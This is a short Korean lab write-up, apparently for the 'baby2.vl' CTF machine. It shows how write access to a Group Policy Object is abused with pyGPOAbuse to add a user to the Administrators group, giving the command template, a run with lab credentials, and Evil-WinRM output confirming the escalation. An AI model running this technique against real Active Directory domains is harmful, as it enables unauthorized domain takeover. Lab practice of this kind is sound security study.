WriteGPO는 공식적으로 존재하는 DACL이나 명칭은 아닙니다.
별도의 설명을 위해서 임의로 만든 이름입니다.
정책 변경을 통한 도메인 장악이 가능합니다.
변경에 필요한 몇가지 조건은 다음과 같습니다.
다음 명령어를 통해서 권한이 있는 사용자를 도메인 관리자 그룹에 추가할 수 있습니다.
# 명령어 양식
pygpoabuse.py <Domain>/<USER>:<PASS> -gpo-id <GPO ID> -dc-ip <DC-IP> -command 'net localgroup Administrators /add <USER>' -f
# 실습
┌──(root㉿kali)-[~/Pentest/Scripts/pyGPOAbuse]
└─# python3 pygpoabuse.py baby2.vl/gpoadm:Password123! -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -dc-ip baby2.vl -command 'net localgroup Administrators /add gpoadm' -f
SUCCESS:root:ScheduledTask TASK_291c1c8d created!
[+] ScheduledTask TASK_291c1c8d created!
# 결과 확인
*Evil-WinRM* PS C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm